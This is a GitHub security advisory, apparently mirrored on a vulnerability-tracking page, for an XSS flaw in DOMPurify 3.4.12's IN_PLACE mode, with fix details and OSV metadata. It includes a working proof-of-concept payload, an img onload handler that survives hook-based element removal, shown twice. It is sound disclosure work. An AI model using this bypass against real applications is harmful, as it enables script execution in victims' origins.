GHSA-55Q2-FJHQ-7XH7
Vulnerability from github – Published: 2026-08-07 15:30 – Updated: 2026-08-07 15:30Summary
During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.
Details
In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).
The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.
The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.
PoC
Load the published dompurify@3.4.12 dist/purify.js before this script in Chromium:
<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
<footer>
<img src=""
onload="result.textContent = 'XSS after sanitize'">
</footer>
<div>safe</div>`;
DOMPurify.setConfig({
ALLOWED_TAGS: ['div', '#text', 'footer'],
IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
if (node.tagName === 'FOOTER') node.remove();
});
DOMPurify.sanitize(root);
document.body.append(root);
</script>
sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.
As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.
Impact
In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.
The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.
Suggested fix
Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.12"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T15:30:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nDuring `IN_PLACE` sanitization, a hook that removes an element can leave that element\u0027s detached descendants executable. A descendant image can retain its attacker-provided `onload` handler and fire after `sanitize()` returns, even though the returned root is clean and the image remains disconnected from the document.\n\n### Details\n\nIn DOMPurify 3.4.12, `_sanitizeElements()` in `src/purify.ts:1862-1904` runs the `beforeSanitizeElements` or `uponSanitizeElement` hook and returns immediately when the hook detached the current node. The return does not call `_neutralizeSubtree(currentNode)`.\n\nThe detached subtree is not added to `DOMPurify.removed`, so the post-walk `IN_PLACE` neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.\n\nThe hook only rejects the containing element and does not add or approve the event handler. DOMPurify\u0027s ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.\n\n### PoC\n\nLoad the published `dompurify@3.4.12` `dist/purify.js` before this script in Chromium:\n\n```html\n\u003cdiv id=\"result\"\u003enot fired\u003c/div\u003e\n\u003cscript\u003e\nconst root = document.createElement(\u0027div\u0027);\nroot.innerHTML = `\n \u003cfooter\u003e\n \u003cimg src=\"\"\n onload=\"result.textContent = \u0027XSS after sanitize\u0027\"\u003e\n \u003c/footer\u003e\n \u003cdiv\u003esafe\u003c/div\u003e`;\n\nDOMPurify.setConfig({\n ALLOWED_TAGS: [\u0027div\u0027, \u0027#text\u0027, \u0027footer\u0027],\n IN_PLACE: true\n});\nDOMPurify.addHook(\u0027uponSanitizeElement\u0027, node =\u003e {\n if (node.tagName === \u0027FOOTER\u0027) node.remove();\n});\n\nDOMPurify.sanitize(root);\ndocument.body.append(root);\n\u003c/script\u003e\n```\n\n`sanitize()` returns with no handler execution and the returned root contains only the safe `div`. After the event loop advances, the original image remains disconnected but its retained `onload` changes the page to `XSS after sanitize`.\n\nAs the claim-matched control, use the same detached input with `ALLOWED_TAGS: [\u0027div\u0027, \u0027#text\u0027]` and no hook. DOMPurify\u0027s ordinary removal path removes the original image\u0027s handler, the returned root is still `\u003cdiv\u003esafe\u003c/div\u003e`, and the marker does not fire.\n\n### Impact\n\nIn an application that uses `IN_PLACE` with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application\u0027s origin after the application sanitizes and renders that content.\n\nThe required non-default configuration is `IN_PLACE` plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.\n\n### Suggested fix\n\nReuse the existing `_neutralizeSubtree(currentNode)` helper before returning from both hook-detachment branches in `_sanitizeElements()`. Add regressions for `beforeSanitizeElements` and `uponSanitizeElement` that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.",
"id": "GHSA-55q2-fjhq-7xh7",
"modified": "2026-08-07T15:30:47Z",
"published": "2026-08-07T15:30:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-55q2-fjhq-7xh7"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1557"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/3067f7746769"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.